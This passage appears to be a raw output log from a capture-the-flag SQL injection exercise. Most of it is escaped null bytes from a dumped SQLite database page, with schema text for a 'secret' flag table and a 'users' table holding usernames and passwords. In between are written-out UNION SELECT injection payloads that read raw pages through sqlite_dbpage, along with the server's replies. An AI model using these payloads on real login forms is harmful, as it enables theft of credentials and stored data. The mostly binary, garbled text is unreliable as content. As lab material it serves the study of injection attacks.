x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Z\x03\x07\x17\x19\x19\x01\x81\x0ftablesecretsecret\x04CREATE TABLE secret (\n flag TEXT PRIMARY KEY\n )+\x04\x06\x17?\x19\x01\x00indexsqlite_autoindex_secret_1secret\x05\x7f\x01\x07\x17\x17\x17\x01\x81]tableusersusers\x02CREATE TABLE users (\n username TEXT PRIMARY KEY,\n password TEXT NOT NULL\n ))\x02\x06\x17=\x17\x01\x00indexsqlite_autoindex_users_1users\x03\x00\x00\x00\x08\x00\x00\x00\x00&amp;#39;!
&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage LIMIT 1 OFFSET 5 --
invalid credentials
&amp;#39; UNION SELECT (SELECT data FROM sqlite_dbpage LIMIT 1 OFFSET 0), 1 --
Hello, b&amp;#39;SQLite format 3\x00\x10\x00\x01\x01\x00@ \x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00.zq\r\x0f\xf8\x00\x04\x0e\xc3\x00\x0fL\x0f\xcd\x0e\xc3\x0f\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x